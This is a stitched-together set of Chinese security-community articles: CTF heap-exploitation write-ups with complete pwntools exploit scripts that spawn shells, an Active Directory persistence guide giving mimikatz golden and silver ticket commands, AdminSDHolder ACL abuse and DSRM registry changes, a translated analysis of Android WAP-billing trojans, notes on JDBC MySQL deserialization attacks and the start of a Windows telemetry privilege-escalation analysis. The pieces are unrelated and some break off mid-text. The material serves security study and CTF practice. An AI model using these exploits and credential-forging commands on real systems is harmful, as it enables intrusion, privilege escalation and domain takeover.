str = malloc(size);
if (str == NULL) {
printf("malloc faild!\n");
exit(1);
}
strncpy(str, buf, size);
string->o.buf = str;
string->free = freeLong;
}
string->len = (int) size;
for (i = 0; i < 0x10; i++) {
if (Strings[i].inuse == 0) {
Strings[i].inuse = 1;
Strings[i].str = string;
printf("The string id is %d\n", i);
break;
}
}
if (i == 0x10) {
printf("The string list is full\n");
string->free(string);
}
}
void showMenu(void) {
printf("1.create string\n");
printf("2.delete string\n");
printf("3.quit\n");
}
首先映入眼帘的就是2个结构体
typedef struct String
{
union {
char *buf;
char array[16];
} o;
int len;
void (*free)(struct String *ptr);
} String;
struct
{
int inuse;
String *str;
} Strings[0x10];
create函数。
此时就可以考虑UAF，先通过2次create，然后修改Str结构体函数指针指向一个地址(考虑PIE绕过)。
delete函数。
这边就调用了结构体函数
在查看ida分析的时候，delete函数的调用就显得比较难理解了。
但是回头来看create函数的这边给全局变量string赋值的
或者也可以在ida里面添加结构体来使得更好看，但是这个结构体要自己写，也要看的懂结构体才行。
漏洞分析**
首先是结构体
typedef struct String
{
union {
char *buf;
char array[16];
} o;
int len;
void (*free)(struct String *ptr);
} String;
这个有调用一个函数，这样就很有意思了，就可以把这个函数修改成自己想要的函数。
然后是delete虽然调用了free函数，但是却没有将函数指针设NULL。这边就出现了UAF漏洞。
**解题思路**
利用UAF漏洞将结构体函数修改成put函数
通过获取程序基地址绕过PIE
通过修改printf函数泄露libc_base,或者通过计算偏移得出libc_base
再次利用UAF漏洞将结构体函数修改成system函数，并在寄存器上布置/bin/sh
free_one的函数地址，我们向上找出一个D开头的可调用的函数地址
D2D这边有个call _puts函数地址，我们可以通过UAF漏洞来修改puts函数的地址
create(15,"giao1")
create(15,"giao2") 这边只要小于16就行，会申请一个大小为32的空间
delete(1)
delete(0) 此时fast bin 的链表结构为 string1 -> string0
然后需要创建一个大于16且能放下payload大小的堆块。
create(32,'a'*24+'\x2d')
delete(1) 调用函数，被修改成puts函数
接收数据，计算elf_base 和printf函数的真实地址,还有一些寄存器的真实地址
elf_base = u64(p.recv(6).ljust(8,'\x00')) -0xd2d
printf_plt = elf_base + 0x9d0
puts_plt = elf_base + 0x990
puts_got = elf_base + 0x202030 got地址可以用elf.got['puts']获取
pop_rdi = elf_base + 0x11e3
pop_12_15 = elf_base + 0x11dc
然后要删除刚刚创建的那个string，再次调用UAF实现libc_base的泄露。
格式化字符串漏洞泄露：（学艺不精，如果是自己想的话，不太能够想到）
delete(0)
create(32,'a'*8 + '%30$p' + 's'*11 + p64(printf_addr))
delete(1)
x = p.recv()
libc_base = int(x[8:22],16) - 0x3b5760
然后再次使用UAF就行了
delete(0)
create(32, '/bin/sh;' + 's'*16 + p64(system_addr))
delete(1)
（不太行）
通过泄露puts_got计算libc_base
delete(0)
payload = 'a'*24+p64(pop_12_15)+'a'*8+p64(pop_rdi)+p64(puts_got)+p64(puts_plt) + p64(0xc71+elf_base)
其实有点不太能理解这个pop_12_15为什么在这边使用，可以存放后面的参数吧可能，
然后就是这次的pop_rdi放入参数泄露，最后再回到菜单函数(0xc71)
create(32,payload)
puts_addr = u64(p.recv(6).ljust(8,'\x00'))
libc_base = puts_addr - libc.symbols['puts']
system_addr = libc_base + libc.symbols['system']
binsh_addr = libc_base + libc.search('/bin/sh').next()
delete(1)
delete(0)
payload = 'a'*24+p64(pop_12_15) +'a'*8 + p64(pop_rdi) + p64(binsh_addr)+ p64(system_addr)
delete(1)
再次调用UAF，修改成system，getshell
**总结与理解**
这道题的难度确实在，多次调用UAF漏洞来依次进行elf_base ,libc_base
,getshell的操作，要做到熟悉的使用UAF漏洞还需要进一步的刷题与学习
# 例题
# easyheap
## 程序分析
### create a heap
### edit a heap
### delete a heap
## 思路
创建3个chunk，chunk 0 1 2 ，把chunk1的内容写/bin/sh
利用house of spirit， 制造一个fake chunk到heaparray附近，伪造fake chunk就需要绕过malloc
fastbin的检查。所以仍然需要使用0x7f来构造0x70的fastbin
然后通过伪造的fastbin输入内容覆盖chunk0的地址为free_got的地址
然后编辑chunk0将free_got修改成system_plt
这样把chunk1 free掉的时候就会调用system("/bin/sh")
## 脚本调试
from pwn import *
p = process('./easyheap')
#p = remote('node4.buuoj.cn',25139)
elf =ELF('./easyheap')
def create(size,content):
p.recvuntil('Your choice :')
p.sendline('1')
p.recvuntil('Size of Heap : ')
p.send(str(size))
p.recvuntil('Content of heap:')
p.send(str(content))
def edit(index,size,content):
p.recvuntil('Your choice :')
p.sendline('2')
p.recvuntil('Index :')
p.sendline(str(index))
p.recvuntil('Size of Heap : ')
p.send(str(size))
p.recvuntil('Content of heap : ')
p.send(str(content))
def delete(index):
p.recvuntil('Your choice :')
p.sendline('3')
p.recvuntil('Index :')
p.sendline(str(index))
free_got = elf.got['free']
create(0x68,'aaaa')
create(0x68,'bbbb')
create(0x68,'cccc')
delete(2)
#gdb.attach(p)
payload = '/bin/sh\x00' + 'a' * 0x60 + p64(0x71) + p64(0x6020b0-3)
edit(1,len(payload),payload)
create(0x68,'aaaa')
create(0x68,'c')
payload = p8(0)* 35 + p64(free_got)
edit(3,len(payload),payload)
payload = p64(elf.plt['system'])
#gdb.attach(p)
edit(0,len(payload),payload)
delete(1)
#gdb.attach(p)
p.interactive()
在第一个payload发送之前断点
chunk2进入fastbin fd指针指向0x00 .
payload = '/bin/sh\x00' + 'a' * 0x60 + p64(0x71) + p64(0x6020b0-3)
edit(1,len(payload),payload)
然后修改chunk1的内容为"/bin/sh\x00"+0x60
后面的部分就是溢出了，溢出的地方就覆盖到了chunk2
来看一下heap结构
p64（0x71)其实是保持这个chunk的size不变，后面的这个0x6020ad才是我们更改的fd指针。看一下这个位置是什么
0x7f
我们的目标地址是bss段上面的那个magic
查看magic附近
0x6020b0的第三位有0x7f，那就拿来用了，可能有点不好看出来，在0x6020b0附近随便减一些，然后看一下内存就行了
既然fake chunk已经伪造成功了，那如果这个时候再把原本的chunk2申请回来会是什么样子的
这个是申请chunk2的
由于fastbin的fd指针被指向了这个地方，所以本来我们只释放了一个fastbinchunk，然后把它申请回来了，但是fastbin中还存在着一个fake
chunk，如果此时我们再申请一个chunk，就会把这个申请过来，称作fake chunk
毕竟不是真chunk，所以不会在heap中出现，但是它是真实存在的，就是index=3
可以查看一下heaparray数组
edit修改数据，对地址内容进行修改
而0x6020bd又正好在heaparray上面，那通过修改index3的数据，就可以对
0x6020bd这个位置的内容进行修改，这个时候就可以用到堆溢出了。
把index0的内容写成free_got的地址，这个偏移就是0x6020dd-0x6020b0+3 = 35
p8(0)*35 + p64(free_got)
调试看一下
可以看到index0的地址已经被修改成free_got了。
那继续把free_got所指向的内容修改成system，这样在调用free_got的时候，就会变成调用system了，并且index1的内容是binsh
直接调用edit修改index0就行了。
## house of spirit
### 原理
通过任意地址free掉，达到改写任意地址
条件就是需要能够在目标地址附近建立一个fake chunk。通过改写fake chunk来实现getshell
先申请堆块，然后释放一个堆块到bin，可以通过修改fd指针，伪造0x7f头越过malloc检测，从而将fake chunk取出。
这样其实fake chunk指向的bss段下的内容都变成可以控制的了，如果说chunk的地址保存在bss段上，就可以通过修改fake
chunk所指向的内容来修改chunk的地址等内容。
可以劫持got表
# hacknote
之前初学堆的时候做过，重新做一遍。
## 程序分析
### add note
### delete note
### print note
## 思路
uaf漏洞，申请2个chunk，然后释放它们，但是指针没有被改动，又因为**(¬elist+i)这个地址是puts函数
这个时候如果再申请一个8空间chunk，会把刚刚释放的那个8空间chunk取回来，然后写入content，对于这个index写的是content，但是刚刚那个8空间的chunk里面存放的还是puts函数，它的puts就会被修改成content。把shell_addr写进去再通过print
note函数去调用**(¬elist+i)就变成了调用shell。
## 脚本调试
from pwn import*
io=remote('node4.buuoj.cn',26946)
#io=process('./hacknote')
def add(size,content):
io.sendlineafter('choice :','1')
io.sendlineafter('Note size :',str(size))
io.sendlineafter('Content :',content)
def delete(idx):
io.sendlineafter('choice :','2')
io.sendlineafter('Index :',str(idx))
def printf(idx):
io.sendlineafter('choice :','3')
io.sendlineafter('Index :',str(idx))
shell_addr=0x8048945
add(48,'aaaa')
add(48,'bbbb')
#gdb.attach(io)
delete(0)
#gdb.attach(io)
delete(1)
#gdb.attach(io)
add(8,p32(shell_addr))
#gdb.attach(io)
printf(0)
io.interactive()
看看申请的2个chunk
一个index有2次申请，分别看看里面是什么东西
0x080485fb就是调用puts函数的区域
0x39的size 后面跟着61616161 aaaa
然后看一下free掉之后
再申请一个chunk写入shell_addr
我们重新申请的8空间大小的chunk的content就可以改写shell_addr,然后现在再调用一下这个被改写的成shell的puts。
`print(0)`因为当前只有一个index了
# babyheap
这题考察的是堆chunk内容中的fasrbin attack。
fastbin attack使用double free的方式先泄露出libc_base。
## 逆向分析
calloc函数分配的chunk会被清0，跟malloc有所不同。fill函数如果往同一块内存写，可以覆盖其他的chunk
内存分配的大小不能超过4096
如果通过了if(!v4)的验证，就表示chunk被calloc创建了，然后让第一行这个指针为1表示成功创建。
第二行是v3也就是chunk的size
第三行是calloc的返回值，那就是chunk的地址。
result=前面的那个指针1的时候才能说明这个chunk存在然后往下面进行数据填充
24LL*v3+a1+16的地址表示的是目标chunk的地址，然后就是把content的内容写入地址中
**问题就存在没有限制content的大小（没有指明范围），可以实现堆溢出，然后把内容写入其他的chunk的指针中**
chunk的数据结构如下
struct malloc_chunk{
INTERNAL_SIZE_T mchunk_prev_size; 记录被释放的相邻chunk的大小。
INTERNAL_SIZE_T mchunk_size; 记录当前chunk的大小，chunk的大小都是8字节对齐
struct malloc_chunk *fd;
struct malloc_chunk *bk;
struct malloc_chunk *fd_nextsize;
struck malloc_chunk *bk_nextsize;
}
然后如果我们先申请两个chunk，然后释放掉，再申请一个chunk，这个时候就会从fastbin chunk的链表中挖走一个大小相符的chunk。
还是先判断chunk是否存在，如果存在，就把为1的那个指针为0，让其他操作的判断失败。
然后再把chunk的size为0，然后释放掉content内容的空间。
先判断，然后按照size打印content
## 思路
先使用double
free的方法，把某个chunk1的内容部分，改写成某个chunk2的地址，这样在dump的时候实际上就是调用这个地址，然后如果可以通过把chunk2的地址通过Fill函数改成backdoor的地址，在调用chunk1内容的时候，就变成了可以getshell。
然后这道题还是要泄露出libc_base。在栈溢出的时候，我们可以通过printf，put，write去打印出某个函数当时的地址，然后通过计算偏移来算出libc_base。
主要利用的是什么虽然地址是变化的，但是两者的相对位置是不变的（应该大概是这样的）
然后堆这边
unsorted bin 的意思是还没被处理的bin，被称作堆管理器的垃圾堆，chunk被释放之后，应该是先进入unsorted bin中等待我们再次分配内存，当它不为空的时候，申请非fastbin的内存的时候，我们就会先从unsorted bin中分割或分配。
main_arena 就是主线程的arena，就是主线程的一块区域，然后把start brk到brk这一块区域叫做堆
堆中计算libc_base，可以使用的是unsortbin存在一个bin时fd和bk指针的特性。大概长这样
stuck one_unsortbin{
size;
fd->unsorted bin head->main_arena+0x58
bk->unsorted bin head->main_arena+0x58
}
然后main_arena对于libc有一个固定偏移0x3c4b20
那如果知道fd的值就可以
libc_base = fd_addr - 0x58 - 0x3c4b20
但是这种时候，unsortbin中有且只能有一个bin。就申请一个大于fastbin的值，让这个chunk释放之后进入unsorted bin中
那知道堆怎么搞出libc_base之后就要思考一下，怎么实现
先申请2个fastbin大小范围的chunk，然后它们是线性排列的，由于fill函数没有指明范围，我们如果写的内容大小超过了单个fastbin大小chunk的范围，就会把内容写到下一个chunk的其他位置
chunk1 {
key: 0 or 1;
size: 0x....;
content: xxxxx; 往这边写入content，然后如果它大于size，就会往下面chunk2的key，size进行填充。这就是堆溢出，溢出的地方，在chunk上面覆盖内容和修改。
}
chunk2 {
key: 0 or 1;
size:0x....;
content: xxxxx;
}
现在知道了堆溢出的作用，我们的目的是求libc_base，即求unsorted bin
的fd，即要修改某个fastbin大小的chunk的内容为fd指针地址，这样在调用dump函数的时候，就可以打印出fd的值。
然后计算出libc偏移后，使用onegadget，将它写入content，最后再申请它或者dump它。
## 脚本调试
首先先进行内存的申请
allocate(0x10) index0
allocate(0x10) index1
allocate(0x10) index2
allocate(0x10) index3
allocate(0x80) index4
前4个是fastbin大小的chunk 第五个是unsorted bin
再释放掉1 2
free(1)
free(2)
让这2块先去fastbin，gdb调试看一下fastbin情况
尬住了，glibc版本比较高，所以会先用tcachebins，用完之后再用fastbin，不过问题不是很大。（这边之前用kail做的，后面换成了ubuntu1604就没有问题了)
可以看到02e0->02c0
相差0x20个位置，但是明明是只申请了0x10的空间，我觉得是因为tcachebins的范围最小是0x20，所以小于0x20的chunk先进入，然后后面放空。
虽然free掉了，但是状态还是使用。应该是tcachebins的特性吧。
可以看到f2d0 的fd指向 f2c0 那就是index2的fd指针指向index1的chunk，那就来通过堆溢出尝试一下修改
由于index1 和 index2 被释放掉了
所以现在排列是
index0 -> index3 -index4
index4的空间是0x80，如果被释放的话是进入unsorted
bin中，我们可以修改index2的chunk内容为chunk4的地址，这样就相当于chunk4被释放了，并且这个释放是在fastbins中的。就很神奇。
但是确实看不懂怎把chunk内容修改，就先调试一下看看堆溢出之后数据被放到哪儿。
`fill(0,p64(1)*8)`
我是给index0开始填充p64(1)的，可以看到从2a0开始到2d0正好8个被我填充了1，那再看一下，再往下填充1个位置啥情况
`fill(0,p64(1)*8+p8(1))`
看到被释放的index2的fd不是指向index1的chunk了，最后2位变成了01.
那就可以通过这样去修改fd指针指向chunk4.又因为需要修改size为0x20，那就写payload
`payload= p64(0)*3+p64(0x21)+p64(0)*3+p64(0x21)`这样写的话，意思就是
每个chunk 0x20，溢出到下一位
然后因为chunk3的距离差chunk4 0x80个位置，所以将最后2位修改成0x80
因为此时chunk4被free掉了，我等等还是要malloc回来使用的，但是 fastbin会检查大小，所以还要再修改一下chunk的大小，
然后再把fastbin里面的chunk1 chunk2 申请回来。
然后再申请再释放掉一个unsortedbin大小的内存，实际上就是把刚刚那个更改的fd指针指向unsorted bin head就是main_arena.
allocate(0x10)
allocate(0x10)
payload = p64(0) * 3 + p64(0x91) 改写index4的size，真晕了，我gdb的时候有看到91.我看过去应该是size应该是先绕过一个fastbinsize然后再覆盖到unsortedbinsize
fill(3,payload)
allocate(0x80)
free(4) 把我们刚刚一直再搞的那个东西给free掉，这样实际上是把那个0x80的放进了unsorted bin 是实际上
dump(2) 调用dump打印出fd的地址
后面就是接收fd的地址(main_arena+0x58地址)然后计算libc_base
然后把shell=onegadget+libc_base
接下来就是如何调用这个shell，通过malloc_hook上方错位构造大小0x60的chunk，然后把malloc_hook的地址改写成shell的地址，这样在调用添加函数的calloc的时候就可以调用到shell。
先把chunk4 malloc回来，然后修改成我们下一个申请chunk的地址，但是又因为chunk2
的fd是chunk4的地址，所以第一次calloc0x10的时候是一句把chunk2给了index1，第二次calloc0x10的时候就把chunk4给index2了，因为fastbin单链表的特点，那么index2
4其实都是在使用chunk4
allocate(0x60)
allocate(0x60) 看不懂啊，这个申请0x60，然后改它的末位位0.可能是malloc函数的函数结构太不熟悉了
payload = p8(0)*3 估计涉及到malloc_hook的一些结构。
payload += p64(0)*2
payload += p64(libc_base+0x4526a)
fill(6, payload)
allocate(0x80) | 社区文章 |
# 0x01 金票
可以使用krbtgt的NTLM hash创建作为任何用户的有效TGT。
要伪造黄金票据的前提是知道域的SID和krbtgt账户的hash或者AES-256值。
## 1.1 收集krbtgt密码信息
privilege::debug
lsadump::lsa /inject /name:krbtgt
得到krbtgt的hash：
c73caed3bc6f0a248e51d37b9a8675fa
域sid值：
S-1-5-21-151877218-3666268517-4145415712
## 1.2 金票利用
使用mimikatz伪造kerberos票证
**生成gold.kribi**
mimikatz "kerberos::golden /domain:redteam.local /sid:S-1-5-21-151877218-3666268517-4145415712
/krbtgt:c73caed3bc6f0a248e51d37b9a8675fa /user:administrator
/ticket:gold.kirbi"
可以看到没有任何票证。
**导入gold.kribi**
kerberos::ptt C:\Users\jack\Desktop\gold.kirbi
成功导入administrator票据。
可以通过事件管理器查看到是以administrator来登录的
# 0x02 银票
如果我们拥有服务的hash，就可以给自己签发任意用户的TGS票据。金票是伪造TGT可用于访问任何Kerberos服务，而银票是伪造TGS，仅限于访问针对特定服务器的任何服务。
这里使用CIFS服务，该服务是windows机器之间的文件共享。
## 2.1 获取sid
whoami /user
## 2.2 导出服务账号的NTLM Hash
privilege::Debug
sekurlsa::logonpasswords
## 2.3 创建银票
kerberos::golden /domain:redteam.local /sid:S-1-5-21-151877218-3666268517-4145415712 /target:DC.redteam.local /service:cifs /rc4:0703759771e4bed877ecd472c95693a5 /user:administrator /ptt
psexec获取DC机器cmd
# 0x03 AdminSDHolder组
AdminSDHolder是一个特殊的AD容器，具有一些默认安全权限，用作受保护AD账户和组的模板，当我们获取到域控权限，就可以通过授予该用户对容器进行滥用，使该用户成为域管。
默认情况下，该组的 ACL 被复制到所有“受保护组”中。这样做是为了避免有意或无意地更改这些关键组。但是，如果攻击者修改了AdminSDHolder组的
ACL，例如授予普通用户完全权限，则该用户将拥有受保护组内所有组的完全权限（在一小时内）。
如果有人试图在一小时或更短的时间内从域管理员中删除此用户（例如），该用户将回到组中。
在server2000中引入，默认包含如下的组：
Administrators
Domain Admins
Account Operators
Backup Operators
Domain Controllers
Enterprise Admins
Print Operators
Replicator
Read-only Domain Controllers
Schema Admins
Server Operators
其中Administrators、Domain Admins、Enterprise
Admins组对AdminSDHolder上的属性具有写权限，受保护的ad账户和组的具备admincount属性值为1的特征。
## 3.1 使用powerview查询
查询ad保护的域的用户
Get-NetUser -AdminCount |select samaccountname
查询域中受ad保护的所有组
Get-netgroup -AdminCount | select name
## 3.2 使用ActiveDirectory
查询ad保护的域中所有的用户和组
Import-Module ActiveDirectory
Get-ADObject -LDAPFilter "(&(admincount=1)(|(objectcategory=person)(objectcategory=group)))" |select name
## 3.3 添加用户
添加jack用户对其有完全控制权限。
Add-DomainObjectAcl -TargetIdentity AdminSDHolder -PrincipalIdentity jack -Rights All
然后验证下，这里的sid为jack用户的。
Get-DomainObjectAcl adminsdholder | ?{$_.SecurityIdentifier -match "S-1-5-21-15187721
8-3666268517-4145415712-1106"} | select objectdn,ActiveDirectoryRights |sort -Unique
默认会等待60分钟，可以通过修改注册表来设置为60秒后触发。
reg add hklm\SYSTEM\CurrentControlSet\Services\NTDS\Parameters /v AdminSDProtectFrequency /t REG_DWORD /d 1 /f
## 3.4 恢复
恢复触发时间
reg add hklm\SYSTEM\CurrentControlSet\Services\NTDS\Parameters /v AdminSDProtectFrequency /t REG_DWORD /d 120 /f
取消jack用户对adminSDHolder的权限
Remove-DomainObjectAcl -TargetSearchBase "LDAP://CN=AdminSDHolder,CN=System,DC=redteam,DC=local" -PrincipalIdentity jack -Rights All -Verbose
# 0x04 DSRM凭证
每个DC内部都有一个本地管理员账户，在该机器上拥有管理员权限。
## 4.1 获取本地管理员hash
token::elevate
lsadump::sam
得到hash为：
852a844adfce18f66009b4f14e0a98de
## 4.2 检查是否工作
如果注册表项的值为0或者不存在，需要将其设置为2。
检查key是否存在并且获取值：
Get-ItemProperty "HKLM:\SYSTEM\CURRENTCONTROLSET\CONTROL\LSA" -name DsrmAdminLogonBehavior
如果不存在则创建值为2的键：
New-ItemProperty "HKLM:\SYSTEM\CURRENTCONTROLSET\CONTROL\LSA" -name DsrmAdminLogonBehavior -value 2 -PropertyType DWORD
如果存在但是不为2设置为2：
Set-ItemProperty "HKLM:\SYSTEM\CURRENTCONTROLSET\CONTROL\LSA" -name DsrmAdminLogonBehavior -value 2
## 4.3 PTH域控
sekurlsa::pth /domain:DC /user:Administrator /ntlm:852a844adfce18f66009b4f14e0a98de /run:powershell.exe | 社区文章 |
# 【木马分析】几款Android平台新型扣费木马的分析
|
##### 译文声明
本文是翻译文章，文章来源：securelist.com
原文地址：<https://securelist.com/wap-billing-trojan-clickers-on-rise/81576/>
译文仅供参考，具体内容表达以及含义原文为准。
译者：[blueSky](http://bobao.360.cn/member/contribute?uid=1233662000)
预估稿费：200RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**简介**
****
在编写“[2017年第二季度IT威胁与演变](https://securelist.com/it-threat-evolution-q2-2017/79354/)”报告的过程中，我发现“前20名移动恶意软件程序”列表中有几种常见的木马程序，这些木马程序使用[WAP计费服务](https://en.wikipedia.org/wiki/WAP_billing)（WAP计费是一种移动支付形式，通过话费的形式直接生成用户手机账单）的方式从用户的账户窃取资金。在这种情况下，木马软件不需要发送任何的短信，用户只要[点击](https://securelist.com/threats/trojan-clicker/?utm_source=securelist&utm_medium=blog)网页上的按钮木马软件就会产生WAP计费。
从用户的角度来看，具有WAP计费的页面跟常规的网页看起来没什么区别，通常这些页面都包含一个按钮以及关于付款的完整信息。通过点击此按钮，用户将被重定向到移动网络运营商服务器，该服务器会给用户显示一些其他网页信息，用户最终通过点击网页上的另一个按钮来决定是否向运营商付款。如果用户通过移动数据连接到互联网，移动网络运营商可以通过IP地址识别他/她，移动网络运营商只有在成功识别并且点击按钮后才向用户收费。从计费的角度来看，这种机制类似于短信服务-收费是直接通过用户电话账单的形式收取。然而，在这种情况下，木马软件是不需要发送任何短信的，只要用户点击网页上的按钮，木马便开始WAP计费。
我们已经很长时间没有捕获到这样的木马样本了，但有几个木马软件在这段时间却突然出现，几乎在同一时间，来自不同网络犯罪团体的不同特洛伊木马针对不同国家（俄罗斯和印度）展开了网络攻击。这些木马软件中的大多数自2016年底-2017年初以来一直在发展，但其在2017年第二季度开始有上升趋势，所以我们决定仔细研究一下这些木马。
一般来说，这些木马软件通常都具有相似的功能。首先，它们会 **关闭WiFi并开启移动互联网** ，它们这样做是因为 **WAP计费只能通过移动互联网进行**
。然后它们打开一个能够重定向到WAP计费页面的URL。通常，木马加载这些页面并使用[JavaScript（JS）文件](https://securelist.com/threats/javascript-glossary/?utm_source=securelist&utm_medium=blog)点击按钮。之后，木马软件将
**删除从移动网络运营商发来的有关WAP计费的短信消息**
。此外，它们中的一些还有能力发送短信，另外一些木马还能通过利用设备管理员权限使得木马软件难以被检测和删除。
**
**
**Clicker.AndroidOS.Ubsod木马软件**
****
在这篇文章中，我将以 **Trojan.AndroidOS.Boogr.gsh**
这款木马软件为例来详细分析这些WAP计费木马，这些恶意软件是我们的系统基于机器学习算法识别到的，通过机器学习算法，我们的系统发现
**2017年第二季度最流行的木马软件是WAP计费木马** ，通过分析，我发现它们属于 **Trojan-Clicker.AndroidOS.Ubsod**
恶意软件系列。
**Trojan.AndroidOS.Boogr.gsh**
是一个小而简单的特洛伊木马，该木马从其命令和控制服务器（C&C）接收URL然后打开。这些网址只是一些广告网址，木马通过使用“
**ViewAdsActivity** ”等类名称使其伪装成一款广告软件。但是，它可以删除手机收到的那些包含文本“ **ubscri**
”（“订阅”的一部分）或“одпи”（俄语中的“Подписка”的一部分）的所有短信消息。此外，它可以关闭WiFi并打开移动网络数据。木马软件这样做的原因是因为
**WAP计费仅在通过移动互联网访问该页面时才起作用** ，而不是通过WiFi。
在分析这些木马样本之后，我发现其中一些木马样本（MD5
A93D3C727B970082C682895FEA4DB77B）也包含其他功能，例如其中一些木马软件包含了解密和加载（执行）其他可执行文件的功能，这些特洛伊木马除了通过WAP计费服务窃取资金外，还执行一个命名为
**Trojan-Banker.AndroidOS.Ubsod** 的木马软件。
**Trojan-Banker.AndroidOS.Ubsod**
是一个功能强大的木马程序，它不仅通过其他木马软件进行传播，而且还可以作为独立的特洛伊木马（MD5
66FE79BEE25A92462A565FD7ED8A03B4）进行传播。它可以下载和安装应用程序，覆盖其他应用程序的窗口（主要用于窃取用户登录凭据或信用卡的信息）、显示广告、发送短信、窃取收到的短消息，
**甚至能够在设备命令行中执行命令** 。此外，它还具有通过WAP计费服务窃取用户资金的功能。 **Trojan-Banker.AndroidOS.Ubsod**
是WAP计费木马中最为流行。根据KSN统计，2017年7月的感染该木马软件的用户接近8,000人，这些用户来自82个国家，其中72％的用户来自于俄罗斯。
**Xafekopy木马软件**
****
在已经过去的几个月时间里，另一个特别流行的恶意软件家族当属 **Trojan-Clicker.AndroidOS.Xafekopy**
。该木马使用JS文件点击包含WAP计费网页上的按钮，并以静默地方式窃取用户的资金。最有趣的是这些JS文件看起来和Ztorg木马软件中JS文件看起来很像，它们甚至有一些功能具有相同的名称，这个木马程序主要攻击印度（37％）和俄罗斯（32％）的用户。
该木马软件通过广告伪装成正常的应用程序，例如伪装成电池优化器应用。用户安装之后，它的从行为上来看，也像是一个正常的应用程序，但它跟正常应用程序有一点区别：就是该恶意软件会去加载一个恶意程序库。该库文件解密安装包并从安装包的
**assets**
文件夹中加载恶意文件，这些恶意文件在解密之后会加载assets文件夹中的另一些恶意文件，这些恶意文件包含了木马软件的主要恶意功能。木马软件通过使用解密后的JS文件，可以绕过验证码表单，并点击WAP网页中的计费按钮，以此来从用户的移动帐户中窃取金钱。它也可以通过点击一些广告页面，从广告中赚钱。
据KSN统计，几乎40％的受感染用户在印度，但总体来看，2017年7月份共有来自48个不同国家的5000多名用户感染了该木马软件。
**Autosus木马软件**
****
**Trojan-Clicker.AndroidOS.Autosus.a**
木马软件主要是通过使用WAP计费的劫持页面来窃取用户的金钱，木马软件首先从C&C服务器中接收JS文件和恶意URL网址，之后加载这些页面并使用JavaScript（JS）文件点击页面上的恶意按钮，它还可以使用从C&C服务器收到的规则来隐藏用户收到的短信。
启动之后，木马软件会要求用户激活该木马的设备管理员权限。之后，该木马将 **从应用程序列表中删除其图标**
，因此用户将无法轻松找到它。同时，木马将继续在后台运行，从C&C服务器接收命令，打开恶意URL并点击恶意网页上的计费按钮。
该特洛伊木马在2017年7月袭击了1400多名用户，其中大多数来自印度（38％），南非（31％）和埃及（15％）。
**结论**
****
在过去的几个月时间里，我们发现木马软件针对不同国家的WAP计费业务攻击趋势在不断的增长。尽管具有这种功能的木马多年来一直存在，但我们发现了几种新的木马，而且最近几个月受这些新木马感染的用户数量正在显著的增长。此外，以前的WAP计费服务大都发生在俄罗斯，但现在我们已经在不同的国家（包括印度和南非）发现了这种攻击，甚至针对其他攻击的特洛伊木马也开始通过劫持WAP计费服务来窃取用户的钱。
**木马样本MD5**
F3D2FEBBF356E968C7310EC182EE9CE0
9E492A6FB926E1338DADC32463196288
A93D3C727B970082C682895FEA4DB77B
66FE79BEE25A92462A565FD7ED8A03B4
AEAE6BFDD18712637852C6D824955859
DA07419994E65538659CD32BF9D18D8A | 社区文章 |
# JDBC Mysql Attack
关于JDBC
Attack中对Mysql的利用,主要是通过两种方式触发反序列化,一是通过queryInterceptors，二是通过detectCustomCollations，原理细节不再赘述,具体可先学习参考fnmsd师傅这篇[参考](http://https://www.anquanke.com/post/id/203086#h2-4
"参考")。
## 关于detectCustomCollations
在上面参考文章中,写到detectCustomCollations触发的方法不适用于5.1.41及以上和5.1.18以下，因为其不再使用getObject的方式获取SHOW
COLLATION的结果，导致此方法失效,但在学习的过程中发现与原文章有一些差异,故此总结。
### <=5.1.18
在5.1.18及以下版本中对`SHOW COLLATION`返回的结果并未使用getObject(),导致无法触发反序列化。
### 5.1.19-5.1.39
而在5.1.19-5.1.39版本之间,对`SHOW COLLATION`返回的结果处理逻辑如下
会对SHOW
COLLATION返回结果调用`Util.resultSetToMap`进行处理，而`resultSetToMap`则和`ServerStatusDiffInterceptor`相同,最后走到`ResultSetImpl#getObject`触发反序列化。
流程如下：
### 5.1.40-5.1.48
而从5.1.40开始处理代码逻辑如下
确实不再直接调用`ResultSetImpl#getObject`,但是对`SHOW
COLLATION`结果的第三列直接调用了results.getObject(),最后还是进入的ResultSetImpl#getObject中.
其中满足字段类型为-4,-3,-2(blob,bit,binary)时会进入`getObjectDeserializingIfNeeded`方法,直接用[恶意mysql服务器](https://github.com/fnmsd/MySQL_Fake_Server)的设置,修改一下代码将第三个字段也填充为序列化数据即可.
该方法和之前类似进行了反序列化操作,其中通过`this.connection.getAutoDeserialize()`来确定是否进行反序列化,在url中同之前一样设置`autoDeserialize=true`即可.
### 5.1.49
而直到5.1.49才真正没有调用getObject().
### 6.0.2
但在6.0.2开始,版本中却又直接调用了`ResultSetUtil.resultSetToMap`，又回到了`ServerStatusDiffInterceptor`那条链中,同样可以触发反序列化,实测直到6.0.6版本都是这样。
### 8.x
而在8.x版本获取`SHOW COLLATION`时又不一样了,才终于又无法利用该点触发了。
## 总结
detectCustomCollations可触发的版本:5.1.18< version <=6.0.6(5.1.49除外)。
在[恶意mysql服务器](https://github.com/fnmsd/MySQL_Fake_Server)的基础上修改一下填充第三个字段为yso序列化的数据即可通用。 | 社区文章 |
# Windows Telemetry Service提权漏洞分析
|
##### 译文声明
本文是翻译文章，文章原作者 secret，文章来源：secret.club
原文地址：<https://secret.club/2020/07/01/diagtrack.html>
译文仅供参考，具体内容表达以及含义原文为准。
## 0x00 前言
在本文中，我们将分析“Connected User Experiences and Telemetry
Service”（互联用户体验和遥测服务），也就是`diagtrack`服务。本文涉及到与NTFS相关的一些术语，因此大家需要对相关背景有所了解。
我在Feedback Hub中观察到一个有趣的“Advanced
Diagnostics”（高级诊断）功能，所有用户都可以触发该功能，触发在`C:\Windows\Temp`目录中的文件活动，而所有用户具备该目录的写权限。
逆向分析该功能比较复杂，如果想复现所需的交互过程也颇具挑战，因为该服务使用的是WinRT
IPC，而不是COM。我对WinRT不是特别熟悉，因此需要先做些背景工作。
在`C:\Program
Files\WindowsApps\Microsoft.WindowsFeedbackHub_1.2003.1312.0_x64__8wekyb3d8bbwe\Helper.dll`中，我找到了一个比较有趣的函数：
WINRT_IMPL_AUTO(void) StartCustomTrace(param::hstring const& customTraceProfile) const;
该函数将在Diagtrack
Service的安全上下文中执行`WindowsPerformanceRecorder`配置，该配置在XML文件中定义，而文件路径通过参数传递给该函数。
